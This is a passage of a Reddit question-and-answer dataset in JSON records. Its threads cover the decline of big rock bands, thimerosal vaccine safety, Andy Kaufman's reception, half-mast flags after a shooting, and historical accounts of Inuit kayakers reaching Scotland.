landscape is always changing. In the early 1900's, Jazz was still on the rise. Soon after that, blues became more dominant, soon to be followed by rock 'n roll, with Elvis becoming the biggest artist in the world. He was soon followed by the Beatles and the Rolling Stones, and rock music became the dominant genre. And now, it seems, rock is losing, or has already lost, its dominant position. \n\nHowever, this doesn't mean there aren't any more big rock bands. U2, Muse, Coldplay, Radiohead, Foo Fighters, the Black Keys, Red Hot Chili Peppers, Green Day, Kings of Leon, Arctic Monkeys; all of them playing in front of enormous crowds. ", "Just my opinion and I'll try not to attack any one genre. I think music goes in cycles and is linked to many different sets of variables to determine what is popular and in demand at the moment. \n\nFor example in the 50s much of rock music was about pushing back against the mainstream culture and extending social boundaries. Moving into the 60s as Rock and Roll matured It became more accepted socially and a conformist (not saying this is bad) viewpoint came to the fore. \n\nAs the rock and roll world became more diverse many splits began to take shape this resulted in a wide range of sounds gaining popularity all at once moving into the late 60s. As the late 60s and 70s came around we saw those many subgenres recombine and set the  stage for the modern rock band. \n\nPeople had come to expect certain things from the musicians they adored. The masses enjoyed the spectacle of massive shows with lots of pageantry. This was hugely successful with bands from Led Zeppelin to Queen. I think people enjoyed the escapism associated with watching or listening to a performance. It helped to temporarily forget about the terrible things that had been happening in the world. Later the arena rock bands continued this trend to a point where listeners began to resent the same attitude they had enjoyed a few years before. Music lost some of it's excess ( some) And Grunge took the stage where it addressed common troubles. It got more poetic and serious again but couldn't maintain the level of fame while keeping its integrity in many peoples eyes.\n\nAt the same time people began to want a more lighthearted form of music so they moved towards pop punk and third wave ska in the mainstream while a lot of heavier and darker forms of music (Tool, Marylin Manson etc) provided the balance. The result was a division amongst purists that seems to be unique to rock enthusiasts, for now at least ( though this is also forming in hip hop as the genre matures). For example I love many forms of punk but can not stand arena rock. I am neither right or wrong but I won't be buying a ticket to a Poison show and I don't expect a poison fan to got to a Rancid show.\n\nThat was a lot to type on a phone and I feel like I left out most of what I wanted to say but\n\nTL:DR\nI think Music is cyclic and self limiting. It peaks and then a new group of listeners decides they want something else. Always has been. Always will.\n\n\n*edit - formatting and spelling", "I'm a bit older than the usual Reddit audience. I like to think that I be as fair as possible. I think although there are many indie exceptions real rock, as an interpretive art died along with Nirvana. Oasis held out a little longer and Green Day are true talents. But pop music now is either bland dance music, hip hop or just plain ordinary pop like Taylor Swift. Rock no longer has a part of pop music. NPR or Rolling Stone had a story where someone did a study that showed that pop music has become much more homogenized since the 1950's. Music really does now sound the same and it's not just my 50 yo ears that tell me that. Someone will come around eventually and either renew or reinterpret rock in a way that puts it back on the scene. Rock and blues requires real musical artist, and no matter what the current state of pop music there are always kids in their garages trying to figure out Clapton, Ritchie Blackmore or Hendrix. So right now we are in a down cycle but everything comes around again. A few weeks ago my daughter saw Perks of a Wallflower and wanted to hear Something by the Beatles. She couldn't believe something that good was written so long ago. I will use that as a way to get her more interested, but it will come around again I'm certain.", "Rock isn't a frontier anymore. It's been done. We've seen where rock music can go before it becomes metal, or hardcore, or punk, or any other guitar based genre. It's no longer fresh.  ", "Some good answers so far. I'll add to them. \n\nRock bands need to be discovered, get record deals, and then promoted. The industry has changed so much over the last 10 years that this is now a risky proposition. It takes a lot of money to put a unknown band in a studio with a good producer and market the hell out of them so people will warm up to the sound on a mass market level. What if they don't take off? I don't know the actual ratio, but in the good old days it may have been 10 record deals to every 1 commercial success for a record company. Now, even if the band becomes popular, they may not make as much money as they could in the past because the way music is being copied and distributed. This means that record labels are concentrating on the sure-fire money makers, rather than taking a chance on a new band. \n\nThe talent now is in music production, less in performers. Look a Dr Luke. Never heard of him? Yes you have, you just don't know it. You thought you listening to Katie Perry or Miley Cyrus or Ke$ha, but you're really listening to Dr Luke. He wrote those songs, made all the music, decided what they should sound like, played all the instruments (in his computer), and got those girls to sing his lyrics (as an aside good managers will insist that their singer co-write some of the lyrics, because this is where the money is. This is also why coming in second in American Idol is better than coming in first, first place gets a shitty contract where they are performer only and so make very little money, second place gets to negotiate their own contract.)\n\nSo the record company knows that their chances of making a hit are much better if they get their reliable producer to come up with a catchy tune without huge studio costs, with a pretty face girl that will market well, rather than an unproven band that is a big unknown in every way. ", "Perry Farrell from the [Fishbone documentary](_URL_0_): \n\n >  You had crazy people like Jane's Addiction, Fishbone, Kurt Cobain, Courtney Love, all these people. They start to like wipe out. They either die, they overdose, they go and join a cult. So the record company looks at it all and says y'know what? Screw it, no more freaks. Let's get a little girl and give her a song, let's put her in a video and let's make a ton of money without any headache.\n\nNo offense, but compared to the freaks roster, most of the 'bands' that exist now, are really just little girls with studio songs.", "The question is more why aren't there any new bands that are successful, or garner a lot of critical acclaim, because undoubtedly bands will form every day in the style of these groups, it's just they go unnoticed. \n\nTastes have changed, is the simple question. When these bands became big, people were asking \"why are there no new rock 'n' roll bands?\", and when rock 'n' roll was big, they were asking \"where's the new Mozart?\" Maybe not, but you get the picture. \n\nJust think what the next generation will be asking where the new \"hip\" bands based on the current trends are (sorry for using the word \"hip\", that'll show my tastes align more with Mozart than KISS). \n\nMusic is just one of the arts, along with literature, film, and fine art (in its many definitions) that carry on with the tastes of a generation. To ask where the new KISS is would be ask why no-one is painting in the style of Monet in an art perspective, or why no-one is making films like Billy Wilder anymore. Granted, people probably are, but they are undoubtedly not \"mainstream\".", "It's easy, record companies want to make money. A band has between 3-5 people on average, plus lots of studio time to record and mix a whole slew of instruments. That's expensive. Rap is 2 people at its core, and doesn't need big expensive studio time. And with the rise of EDM a record company doesn't need to pay for ANY studio time, the artist owns the studio. \n\nBig rock bands exist, they just don't get promoted but fun. The Black Keys, Arcade Fire, Radiohead, and more all win awards, make big money, and have more freedom than big rock bands of the past. They just might not okay arenas, but to be honest, most bands hate arena shows. ", "I feel that genre over-population is the answer. 30 years ago there were fewer music genres in general. Music listeners had a more selective pool to pick from. The artists in those pools were (generally) very talented musicians AND entertainers. In recent years there has been a surge of new smaller genres that has something for everyone. Economically, the reason is due to supply an demand. Then, supply was low (compared to today) which inversely relates to demand which was high (as a proportion to what was available to music listeners. Today, supply is grossly high but demand has remained roughly the same but is now spread over a much larger range. \n\nTl;dr: supply and demand. I forget the punch line but your mother's a whore. ", "Explaining like you're five: things usually seem like they were better in the past.", " Record companies don't want rock to die, and that can be evidenced by any big festival bill like mountain jam, bonnaroo, etc. There's plenty of rock still kicking about, it's just not on top 40 radio. The large commercial rock band hasn't been a thing for a few years now, and perhaps it will cycle around or evolve into something new. Don't forget how many small/medium bands are all trying to get your attention. The internet is saturated, there's a multitude of smaller labels picking up the bands the majors aren't. Rock isn't dead, it's just sort of gone underground.", "I believe this to be true.\n\n\"I'm tellin' you, you're coming along at a very dangerous time for rock 'n' roll. I mean, the war is over. They won. And 99% of what passes for rock 'n' roll these days, silence is more compelling.\"\n\n     -Lester Bangs (Amost Famous (2000))", "Why aren't there any more big new funk bands? Why aren't there any more big new Motown groups? I've never understood why I hear this question about Rock like once a month, but nobody questions why other genres have lost popularity.\n\nThe rock and roll movement is pretty much done. That said, pretty much all new music coming out has forms of rock and roll within it, so rock is NOT dead, just reincarnated.\n\nI guess this isn't really an answer to your question, but it's just what I've been thinking about recently. ", "Because the hipster generation (not necessarily hipsters. Just those who belong to the Tech Age and constantly demand things to be new) refuses to accept a popular band as \"rock\". It can only be \"rock\" if it's not popular.\n\nEDIT: Fuck it. As an example, Maroon 5, harmonically and compositionally, isn't drastically different from early Beatles. Yet everyone loves to rag on Maroon 5 as pop-rock, and they use \"pop-rock\" in the smuggest sense, perhaps not realizing that all the juggernauts of rock can reasonably be categorized into pop-rock.", "\"Everyone knows rock attained perfection in 1974\" Homer Simpson", "Music is only big as long as it is exciting, and only exciting as long as it is new. Rock music used to be really new -- back in the 1950s, rock'n roll *shocked* people. By the '60s, rock'n roll was friendly enough that most everybody listened to it without being taken aback. Then blues rock did the same thing, then metal, then punk rock, then nu-metal and the ensuing emo and screamo scenes. Each time, the listeners finally got used to what used to shock them, and the musicians had to up the ante.\n\nNow, hip-hop, dance and dubstep are newer and more shocking than most things happening in rock. Unfortunately, it's harder to make big stars out of subgenres.", "Because rock is dead.", "*It's the same as it ever was*\n\nSeriously the reason is choice and accessibility. More people can make money/music. More people can choose what they listen to. \n\nSince making money is harder in a more competitive market place, the industry is more selective in what it promotes. It's picks tried and test formulaic options - like it always did. When you could sell a large rock band to make lots of profits you had large rock bands selling to everyone. \n\nLots of money I think comes from teen girls who are replaced with newer sets of teen girls every year - so the industry promotes a fresh set of the same to them - just like it always has. \n\nPeople as they get older they don't live and dream of their teen idols so they get more choice and in this competition the music industry can't lock  as many customers as it can to more impressionable teens.\n\nPersonally love this liberalisation of choice. So what if the biggest bands at the moment are Beiber of the latest Idol - I have so many options to what I listen to.  I don't need to be listening to what ever the industry wants me to be listening to.", " >  Is it because record companies want ~~rock to die and don't want to sign any upcoming rock bands~~ **to make money**\n\nRecord companies put out as much as they can of whatever sells well, pure and simple.", "Relevant Cracked article (skip to #1):\n_URL_0_", " >  Appetite for Destruction, GN'Rs debut album, was the last rock album to really blast the Billboard charts and break through many different musical taste barriers in many people.\n\n    *cough*  Nirvana  *cough*\n", "Kasabian would like a word. As would Muse.", "Funny that with the end of the Cold War that whole outrageous scene died. As if extreme music proved we were more free.", "I think some of it's because most new rock bands sound like the old rock bands, who mostly did it first and better. ", "Economics: The music industry is currently targeting 12-year-old girls, hence groups like One Direction.\n\nWhereas AC/DC was the result of an industry focused on mid- to late-teenage boys.\n\n**tl;dr:** Blame the parents of 12-year-old girls for giving their daughters way too much money to spend influencing the music biz.", "Record companies always sold pop records. Rock only seems big in hindsight. Led Zeppelin never had a #1 hit. Black Sabbath never had a #1 hit. I don't know many people who would consider Aerosmith, Kiss, or GNR \"big rock bands\" as much as they were POPULAR rock bands. Those bands are really just the Coldplays of the late 70s/early 80s. The fact is, music is continuing to grow and expand into other genres as it expanded into rock from blues and rockabilly. After Grunge died, a lot of musicians decided it was time to look to somewhere new. Radiohead led the way into our current era, which is Indie. Bands like Arcade Fire, Radiohead, Muse, Animal Collective, Modest Mouse, Wilco, Interpol, etc... are the modern incarnations of those great rock bands.", "I think alot of it comes down to what young creative types are doing. At the moment they will likely be producers and interested in dance music, obviously this is just from my personal experience. Technology plays its part as mentioned elsehwere here, it is so easy to get hold of a production program and make decent music. In the 50s-70s my guess would be that creative types would have learnt the guitar, and with no technology probably played it a hell of a lot. I don't think it is a coincidence that there are so many great guitarists from that era, just that was the done thing. Clearly success leads to imitation and whole genres are built.\n\nThe notion of creativity is difficult to pin down. The Beatles laid down  a marker in this area and will likely never be matched in terms of varied styles. A number of bands in recent years have failed to evolve and have lost significance after initial success, but that is true throughout music. Not many artists have done much, the Stones as great as they are have about three basic song structures. ", "The audience has fragmented. After punk, indie, hiphop, electronic ect. everyone has their own specific tastes that appeal to them, and there aren't any rock bands whos appeal crosses over all those boundaries. People in television and food talk about the audience of today having more sophisticated taste, well the same is happening in music and this is the result.\n\nIts been going on for ages. Beatles were bigger than Zeppelin who were bigger than U2 who were bigger than Pearl Jam who were bigger than Coldplay. The futher back you go the more monocultural it was and the bigger the rock band could be.\n\nEg. 40 years ago take a class of 16 year olds. All of them would be fans of the biggest rock band around, such as the Beatles. Nowdays, a few would be into hiphop, a few would be into metal, ect. Nowdays a rock band couldn't win over the entire population like that. The market isn't there for Coldplay to become as big as The Rolling Stones.", "I blame MTV actually. I grew up in the classic rock era and watched disco's rise and fall. But MTV did something different: it made \"music\" more about how a band looked-- and eventually about nothing more than choreography. Back in the 1970s we had no idea what a favorite band looked like, other than from the photos on LP sleeves, seeing them in concert, or the rare appearance on Midnight Special.  By the early 1980s we had \"bands\" like Wham!, Ah-Ha, Kajagoogoo, and Milli Vanilli that really existed only as manufactured studio creations that were propped up on stage to do dance routines (particularly with Milli Vanilli). While that had been done before (e.g. the early Monkees) it was not considered legitimate.\n\nTastes change, certainly, but MTVs emphasis on visuals and marketing packaged products only as long as they could wring money from them changed the industry. Take a listen to the [Dead Kennedy's song \"MTV Get Off The Air\"](_URL_0_) for a hint of what I'm getting at.\n\nBy the mid-1980s we had top 10 acts that were basically teenage girls lipsynching in malls (i.e. Debbie Gibson). That's what MTV gave us. Rock still exists and made a brief comeback in the grunge era, but that too was so commercialized and packaged as a product that most listeners could easily tell the bulk of the bands had no soul.\n\nThis is why classic rock stations are still top five performers in most urban markets, while MTV doesn't even play music any more. Jello Biafra had it figured out 30 years ago.", "Because record labels can pump out crap that makes them money with 0 trouble.", "My theory is that it has to do with marketing and self fulfilling hype.  It's really about selling a product. I think if you look at each big era of music you'll find a new accompanying means to listen to it. 45rpm records, 8-tracks, cassette tapes, Cds, etc. Even FM radio and MTV, I imagine. I think not the initial release of products but when it became affordable you'll find an accompanying era of music. And when those artists get a boost the culture reflects on it and dresses up people in advertisements and on television shows so they look like those musicians reinforcing that they are popular.  \n\nWhy it isn't happening now is because Ipods and digital sources of music were marketed as putting all of your music in one place. You didn't buy any new music when you got an Ipod you put your old music on it.  And you can't market AC/DC or Metallica as the new youth culture because it's your parents or your grandparents culture.\n\nAlso the problem with radio is that they target the lowest common denominator they aren't there to explore new music they are there to sell you soft drinks and finger nail polish and they do marketing research that shows the average listener is less likely to change the channel if they hear a song they recognize. Therefore they're gonna play the same 150 songs into the ground forever. It use to get sub divided into 'oldies' or 'modern rock' but if they aren't exactly there to look for new music, they're just going to play it once it's sold, and the culture doesn't have a means to sell it anymore and radio apparently has no idea how to adapt.  The 'modern rock' stations in my area are still playing 80% of music from the early 90s. Twenty years later and they still don't know what they're doing.  \n\nThere are still music fans but in and amongst themselves there aren't enough of them to independently make a band huge. The average music listener who doesn't really pay attention to music per se but to culture has to be aware and willing to go to a concert. And without a culture solidified enough to grab their attention there aren't going to be any bands that can define that culture. \n\nI think....\n\n", "Fragmentation of the entertainment dollar. \n\nWhat did the kids of the 60's and 70's do in their spare time? They either went to movies or bought the latest hit record. \n\nThese days they also play video games or use the internet. Also with respect to music, there are more sub-genres. The combination of these factors means that the development of mega \"rock stars\" is that much harder. \n\n(plus \"music\"  needs to keep looking forward to remain vital and rock peaked in the early 70's and died in 1994)", "MAINSTREAM VS INDIE.\n\nAnything that is on a top 40 billboard chart is pretty much guaranteed to be a product of a major label.\n\nThere's actually 3 major labels and they own about 82% of all music recorded in the US. They control the distribution like a mafia.\n\nIn drug terms, they'd be the Columbians.\n\nTheir 'drug houses' would be the smaller labels, which are owned by the major labels, but this fact is relatively hidden.\n\nTheir 'drug dealers' are the radio stations and wherever plays their music.\n\nMTV used to be much more relevant but with the rise of the internet and youtube, they switched formats to play less videos and more shit reality tv.\n\nPeople are much more marginalized. So many genres, it's hard to breech many people's 'confinement zones', so it's harder for the labels to get that massive following. They still do a crazy good job at exploiting the public who has no idea what kind of shady racket they're running.\n\nIndependent music is made by smaller labels and artists not affiliated with the big 3 labels.\n\nIn the late 80's, there was a fairly large anti-corporate punk rock DIY industry spearheaded by bands like Minor Threat, Bad Brains, Misfits, Dead Kennedy's, etc...\n\nIt basically started off as people going to gigs in people's basements, crappy bars, or wherever bands could get shows. They'd record albums for really cheap and make their own covers. When you met enough bands, you'd make your own label and release a compilation. From there, you could showcase all your bands and try to sell records.\n\nThe big difference between corporate and independent is money. Small labels work out of their garages and basements while the major labels make billions yearly.\n\nThey make bands famous simply by putting them in a recording studio, and throw gobfuls of cash at their friends in the PR industry.\n\nIndie bands don't get on the radio. They simply can't afford it.\n\nActually, I lied, indie bands get on college radio. University radio stations used to be the best place to find new good music because the dj's are usually vollunteers and they play whatever the hell they want.\n\nThe major labels hated the punk/indie scene because it was getting fairly big and cutting into their business, so they infiltrated it by signing Nirvana, Green Day, Blink 182, and a handful of other bands that were independent.\n\nThe labels are devious bastards.\n\nThey made Nirvana huge through extreme oversaturation, and Nevermind was a well produced album. Easy sell.\n\nUnfortunately, it almost killed the punk scene by stripping away the values and commercializing the image to the point of it being another moody teen fashion trend.\n\nFoo Fighters sells out stadiums. They are ok if you like really generic 'safe' music that you can play around your boss or elderly people.\n\nWhen they first came out, their label dropped off huge amounts of postcards, free stickers, and other swag to bars and venues and record stores everywhere. Their big hook was Dave Grohl, so they were riding on a huge amount of name dropping status.\n\nNo disrespect to the Foo Fighters (everlong is a great song), but they wouldn't be where they got to without being boosted by their label.\n\nThe labels control all genres. Country, classical, hip hop, metal, you name it. They've been doing it for decades.\n\nNews footage of screaming girls as the Beatles get off the plane is no different than tabloid pictures of Bieber's drunk 30+ milf fans. It's all advertising."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["http://fishbonedocumentary.com/"], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.cracked.com/article_18983_5-complaints-about-modern-life-that-are-statistically-b.s._p2.html"], [], [], [], [], [], [], [], [], ["http://youtu.be/UDcfPZOBiow"], [], [], [], []]}
{"q_id": "ax8t15", "title": "is thimerosal safe?", "selftext": "Anti-vaxxer relative sent me a link to this article: [_URL_0_](_URL_0_). Not questioning the safety of vaccines but I'm genuinely curious if thimerosal is harmful in vaccines or not?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ax8t15/eli5_is_thimerosal_safe/", "answers": {"a_id": ["ehryly6", "ehs0b6o", "ehs1m3f", "ehs2bzk", "ehs2tz7", "ehscenp", "ehsdfys"], "score": [57, 24, 21, 4, 28, 2, 2], "text": ["It is safe. Yes, it contains mercury, but it's in a form that the body will excrete quickly. You get more mercury from a tuna sandwich, and *that* mercury is in a form that the body only excretes very, very slowly. \n\nIt's not being used anymore because there was a while panic about it and it's easier to switch to another component than educate the public.", "Fantastic question. Thank you for asking about this. According to the CDC, [multiple studies have shown that thimerosal is not harmful and does not cause autism.](_URL_0_)\n\nIn the link above, the CDC also talks about the fact that thimerosal is no longer used in the vast majority of vaccines. The removal of thimerosal was done as a precaution in response to public fears. However, soon after the chemical was removed from vaccines, it was shown to be unnecessary move.  So if someone tries to cite the removal of thimerosal as proof that it was harmful, please be aware that it hasn\u2019t shown any reason to be considered harmful in vaccines.\n\nNow you linked to a research article, and I\u2019d like to add one more thing: be wary of random research papers. There is an issue with a lot of published work (not just these days but also for quite some time) where researchers with an agenda manipulate their procedure and statistics to make a particular conclusion shine favourably in their article. This is a problem the scientific community is trying to fix. If you find a \u201cscholarly\u201d article from a suspicious or not well-known publication, be careful. It is possible that the results are not accurate or well-supported. If you would like to hear a bit more about how experiments can be manipulated, here\u2019s a [fantastic video by Veritasium](_URL_1_) on the topic.", "Ah, these fools again.\n\nThis study was written by [Geier son and father duo](_URL_0_), who have had their medical licenses revoked for \"falsely claiming to be a geneticist, misdiagnosed patients, diagnosed patients without sufficient tests, and recommended risky treatments without fully explaining the risks to the parents.\" This is in part due to an unfounded and false cure he advertised for autism whose side effects were chemical castration. The original 2003 work this paper is based on was heavily criticized and this is largely a rehash of that. Most of the authors of the paper above are working for the \"Institute of Chronic Illness,\" an organization Geier founded. \n\nNote that this \"paper\" linked does not actually present any evidence of thimerosal causing autism. It simply attacks various studies showing thimersoal does not cause autism.", "Irrelevant, because it is no longer used despite being harmless but the anti-vax loons will never let it go", "It's safe.\n\nHuge chunks of the anti-vax and \"natural\" medicine movement are based on a total lack of understanding of chemistry.\n\nSaying thimerosal is harmful because it's a compound containing the element Mercury is the same as saying sodium chloride, table salt, is harmful because it contains the elements sodium and chlorine.\n\nSodium is literally explosive when it comes into contact with water.\n\nChlorine gas has been used as a chemical weapon.\n\nWhen chemically combined you get salt, a chemical compound essential to human life.", "Not directly an answer but: The publisher of this journal has not the best reputation (search for 'predatory open access'). So without even looking at the study (which is bad practice, I know), I wouldn't expect too much in terms of rigurous scientific work. No offense. ", "Yes. The presence of one chemical doesn't make something dangerous. There are a couple things to consider here.\n\n1. Mercury in the molecular structure is not the same as pure mercury. If you start looking at individual atoms to try and decide how molecules should behave, things get screwy quickly. Hydrogen is incredibly explosive, and oxygen is literally fuel for fire, but if you combine them into water, you can put out fires with it.\n\n2. Dosage levels are very important. It's not wrong to say that you can have literally too much of anything and everything. That's what \"too much\" means. It's important to figure out what the dosage level is for the specific compound being administered. We've mostly got that down to safe numbers that are effective for a broad range of sizes based on when we expect a vaccine to be delivered (i.e\n 6 months vaccines assume a child of 6 months size, more or less). Too much and there can be negative side effects, and too little and it may not actually build an immunity. This is also why some vaccines require multiple injections to be effective -- because it's unsafe to do a completely effective dose at once."]}, "title_urls": [], "selftext_urls": ["https://www.hindawi.com/journals/bmri/2014/247218/"], "answers_urls": [[], ["https://www.cdc.gov/vaccinesafety/concerns/autism.html", "https://youtu.be/42QuXLucH3Q"], ["https://en.wikipedia.org/wiki/Mark_Geier"], [], [], [], []]}
{"q_id": "26mq7t", "title": "why did andy kaufman get so much negative feedback?", "selftext": "My friend recently introduced me to this performance artist and I found him really quite entertaining. He was unorthodox and eccentric but I thought his sort of comedy was a very unique type of art form.\n\nI investigated him a bit more and learned about a lot of people writing articles demanding he be banned from television. SNL banned him for life after taking a vote from their viewers.\n\nWhy did his odd style of comedy make people so upset?  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26mq7t/eli5_why_did_andy_kaufman_get_so_much_negative/", "answers": {"a_id": ["chsgxzp", "chsi0mr", "chsjo2g"], "score": [7, 28, 3], "text": ["Performance art will always have a very decisive effect on an audience, and it is designed to. It's an art form that depends on the audience's preconceptions in order to be fully realized.  So if you bill someone as a stand up comedian and place him in the middle of the most popular comedy program in television,  you have an enormous buildup of anticipation that what you are going to see is traditional comedy. When he then lip syncs along to the Mighty Mouse theme instead, well, those who enjoy having their preconceived notions of comedy turned in their head, like yourself, are going to have a great time. Most people, though, just want to have their biases realized and don't enjoy being deprived of the gratification.\n\nPersonal note: check out Reggie Watts' stand up for a very different brand of avante garde comedy.", "1. Audiences never knew what they would get from a Kaufman performance. While sometimes that meant a comedian would go onstage, be funny, and take you out for milk and cookies, other times it meant he would read the Great Gatsby from cover to cover, all night long. Or maybe he would show up, start a fight with a heckler (his pal, Bob Zmuda), and end the show after stalking off in a huff. Or Tony Clifton would show up, Andy's alter ego, tell some out-of-touch slightly offensive jokes, and leave (and sometimes Clifton was played by Bob Zmuda). Imagine trying to buy tickets for that.\n\n2. Promoters and event bookers never knew what they were going to get out of a Kauffman performance. See all of the above, and then try to figure out a. how to schedule around that, and b. how to easily monetize that. This was pre-internet, mind you, and even with national exposure on Saturday Night Live and Taxi, very few people in the US were hip to the gag, especially considering how out-there and esoteric his exposure was. And given that the producers of Taxi a. were required to hire and feature Tony Clifton in order to secure Andy, and b. weren't allowed to tell anyone Andy was Tony, no one even knew they were watching him half the time (and sometimes, again, it was Bob Zmuda as Clifton). \n\n3. His friends never knew what they were going to get from Andy himself. It's unclear exactly how many people knew Kaufman was Tony Clifton, but it wasn't many, and even fewer knew Zmuda would take on the costume and perform as Kaufman, as Clifton. \n\n4. He was often genuinely offensive, and never said, \"Hey, it's just a joke!\" Before his dedicated friends came out and explained what was up after he died, the public just thought he was offensive, rude to women, unpredictable, and basically an internet troll pre-internet. ", "TL;DR he was a comedian who sometimes thought it was funny to make the audience uneasy and unhappy. He was an asshole."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3e2yx2", "title": "why aren't flags flown at half mast for the marines and sailor that died in the recent shooting?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3e2yx2/eli5_why_arent_flags_flown_at_half_mast_for_the/", "answers": {"a_id": ["ctazn2n", "ctazpu8", "ctb12kl", "ctb5s5k", "ctb6s3u"], "score": [65, 12, 9, 6, 5], "text": ["What I'm thinking is that the flag wasn't lowered because these Marines and Sailor were killed in the line of duty.\n\nFort Hood was legally classified as a workplace incident, as the killer was a service member. Civilians were also killed in that incident. \n\nA presidential order to lower all flags on government buildings is a large act. As a rule, the US does not lower the flag for all military deaths in the line of duty, otherwise the flag would have to have remained at half-mast for the last 15 years. \n\nIf the flag is lowered nationwide for every military death, then the significance of the act is reduced. If we lower it only for some soldiers who died in the line of duty, then isn't it a little disrespectful to all the other soldiers who have been killed in action?\n\nEdit: Update: The flags over the White House and the Capitol Building have been lowered. _URL_0_", "Some flag-watchers earlier speculated that the decisions not to fly flags differently were because the victims of the attack were all members of the U.S. armed forces, so may have been considered to have been killed in the line of duty.\n\nI think this makes the most sense, right or not. If this is the line of thinking, theoretically our flags would be at half mast anytime a servicemen died. ", "It is clearly stated in the United States Flag Code. [Here is a relative article](_URL_0_) from the National Flag Foundation.", "My previous comment was removed because it had a link to a new story, but I just saw that the flags WILL be flown at half mast until sunset on July 25th.  Check your local news.", "Heard on National Public Radio, the president asked for federal buildings to have the flag at half mast for the recent shootings."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://fox6now.com/2015/07/21/pres-obama-orders-flags-to-half-mast-at-white-house-for-chattanooga-victims/"], [], ["http://www.usflag.org/nff.half.staff.html"], [], []]}
{"q_id": "63j4c7", "title": "Were Inuit definitely spotted in Northern Scotland in the 17th century?", "selftext": "I recently read a news article about the \"Finn-Men\" who are believed to be Inuit in Northern Scotland (Orkney). Were they definitely present or could they have been mistaken for someone else? Or a complete myth?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/63j4c7/were_inuit_definitely_spotted_in_northern/", "answers": {"a_id": ["dfv7i2j"], "score": [6], "text": ["There at least three peculiar accounts from Scotland that do appear describe Inuit who appeared well south of their usual fishing grounds.\n\nFrom James Wallace, minister of Kirkwall in Orkney, written in 1688:\n\n > Sometimes about this country are seen these men they call Finnmen. In the year 1682, one was seen in his little Boat, at the south end of the Isle of Eda, most of the people of the Isle flocked to see him, and when they adventur\u2019d to put out a Boat with men to see if they could apprehend him, he presently fled away most swiftly. And in the year 1684, another was seen from Westra, and for a while after they got few or no Fishes for they have this Remark here, that these Finnmen drive away the fishes from the place to which they come. These Finnmen seem to be some of those people that dwell about the Fretum Davis [Davis Strait] a full account of whom may be seen in the natural and moral History of the Antilles chap. 18. One of their boats sent from Orkney to Edinburgh is to be seen in the Physitians hall, with the Oar and Art he makes use of for killing Fish.\n\nWallace's note was published by his son, Dr James Wallace, who added a further gloss:\n\n > I must acknowledge it seems a little unaccountable how these Finn-men should come on this coast, but they most probably be driven by Storms from home, and cannot tell when they are any way at Sea, how to make their way home again; they have this advantage, that be the Seas never so boisterous their Boat being made of Fish Skins are so contrived that it can never sink, but is like a Sea-gull, swimmnig on top of the Water. His shirt he has so fastened to the Boat, that no Water can come into his Boat to do him damage, except when he pleases it, which he never does but to ease nature or when he comes ashore.\n\nTheir account gets some backing from John Brand (1701):\n\n > There are frequently Finnmen seen here upon the Coasts, as one about a year ago on Stronsa and another within these few months on Westra, a Gentleman with many others in the Isle looking on him nigh to the shore, but when any endeavour to apprehend them they flee away most swiftly; which is very strange, that one Man sitting in his little Boat, should come some hundred of leagues, from their own Coasts, as they reckon Finland to be from Orkney... The Fishers here observe that these Finalnd or Finland-men, by their coming drive away the Fishes from the Coasts. One of their boats is kept as a Rarity in the Physians Hall at Edinburgh.\n\nMeanwhile, the Revd Francis Cantrell, writing from Aberdeen (on the east coast of Scotland, a further 200 miles to the south), had this to say about an incident that occurred there in 1728:\n\n > A canoe about seven yards long by two feet wide, which about thirty-two years since was driven into the Don [the river that flows through the city] with a man in it who was all over hairy, and spoke a language which no person there could interpret. He lived but three days, although all possible care was taken to recover him.\n\nA second version of what is probably the same incident was written up in 1782:\n\n > A canoe, taken at sea with an Indian man in it, about the beginning of this century. He was brought alive to Aberdeen, but died soon after his arrival, and could give no account of himself. He is supposed to have come from the Labrador Coast, and to have lost his way at sea. The canoe is covered with fish skins, curiously stretched upon slight timbers, very securely joined together. The upper part of it is about twenty inches broad at the centre, and runs off gradually to a point at both ends. Where broadest, there is a circular hole, just large enough for the man to fit in, round which there is a kind of girth, about a foot high, to which he fixed himself, probably, when he did not use his oar, or paddle; which when he chose it, he stuck into some lists of skin, tied around the canoe, but slack enough, to let in the padle, and some other awkward utensils which were found stuck there. The canoe is about eighteen feet long, and slopes on both sides, but the bottom is flat for three or four inches in the middle and gradually sharpens as it approaches the extremities till it ends in a point.\n\nThe canoe this man apparently arrived in still exists and is listed in the Aberdeen Museum catalogue compiled in the 19th century as \"Esquimaux Canoe, in which a native of that country was driven ashore near Belhelvie about the beginning of the eighteenth century and died soon after landing.\" It is clearly of Inuit design.\n\nSo, to summarise: the descriptions we have are consistent with Inuit in kayaks, and at least one kayak which appears to be clearly of Inuit design and construction still exists. The remaining puzzle is, assuming the reports do describe Inuit, how they got to a point so far south of their usual hunting grounds - by themselves, or as passengers (willing or unwilling) on some larger ship?\n\nWe know the latter type of event happened on at least one occasion involving a Danish ship, dating to 1654 and reported by Adam Olearius in his *Travels of the Ambassadors sent by Frederic, Duke of Holstein, to the Great Duke of Muscovy and the King of Persia* (London, 1662  &  1669):\n\n > As soon as this ship appear\u2019d upon the coasts of Greenland, the Inhabitants set out above a hundred boats, and came to view that strange structure, which was much different from what they ordinarily saw. At first they would by no means come near it, but seeing they were entreated to come into the ship, they at last came, and in a few days were so familiar, that with their commodities, which they truckt for such toies as we had, they brought also their Wives, out of an intention to make advantage of them by another kind of Commerce, which though it be not known less elsewhere, yet is not so publickly practis\u2019d Among them, where fornication is neither crime nor sin. The Danes thought this freedom of the Groenlanders a good opportunity to carry away some of them. The Ship being ready to set sail for its return, and the Savages coming still aboard with their Commodities, a Woman that had a great mind to a pair of knives which one of the Sea-men wore at his Girdle, offer\u2019d him for it a Sea-Dogs skin, which the Sea-man refusing as too little, she proffer\u2019d him a kindness into the bargain. The Sea-man had no sooner express\u2019d his being well satisfy\u2019d with the proffer, but she begins to untie the point (for they as well as the men wear Drawers), and would have laid herself down upon the Deck. But the 